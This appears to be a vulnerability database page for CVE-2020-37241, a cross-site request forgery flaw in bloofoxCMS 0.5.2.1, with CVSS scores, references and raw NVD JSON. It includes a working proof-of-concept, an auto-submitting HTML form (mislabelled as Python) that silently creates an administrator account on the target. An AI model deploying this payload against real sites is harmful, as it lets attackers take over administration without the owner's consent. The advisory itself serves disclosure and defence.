CVE-2020-37241

Description

bloofoxCMS 0.5.2.1 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions by tricking logged-in users into visiting malicious pages. Attackers can craft hidden forms targeting the admin user creation endpoint to add new administrative accounts with arbitrary credentials without requiring explicit user consent.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

bloofoxCMS 0.5.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <body>  <form action="http://<target_ip>/admin/user.php" method="POST"> <input type="hidden" name="username" value="attacker" /> <input type="hidden" name="password" value="P@ssw0rd" /> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="access_level" value="1" /> <input type="hidden" name="send" value="Save" /> </form> <script> // Automatically submit the form when page loads document.forms[0].submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-37241
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-37241
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-37241/
[4] VulDB https://vuldb.com/cve/CVE-2020-37241
[5] https://github.com/alexlang24/bloofoxCMS/releases/tag/0.5.2.1
[6] https://www.bloofox.com/
[7] https://www.exploit-db.com/exploits/49507
[8] https://www.vulncheck.com/advisories/bloofoxcms-cross-site-request-forgery-via-user-add

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-37241", "sourceIdentifier": "[email protected]", "published": "2026-05-16T16:16:20.350", "lastModified": "2026-05-18T17:26:40.167", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "bloofoxCMS 0.5.2.1 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions by tricking logged-in users into visiting malicious pages. Attackers can craft hidden forms targeting the admin user creation endpoint to add new administrative accounts with arbitrary credentials without requiring explicit user consent."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/alexlang24/bloofoxCMS/releases/tag/0.5.2.1", "source": "[email protected]"}, {"url": "https://www.bloofox.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49507", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/bloofoxcms-cross-site-request-forgery-via-user-add", "source": "[email protected]"}]}}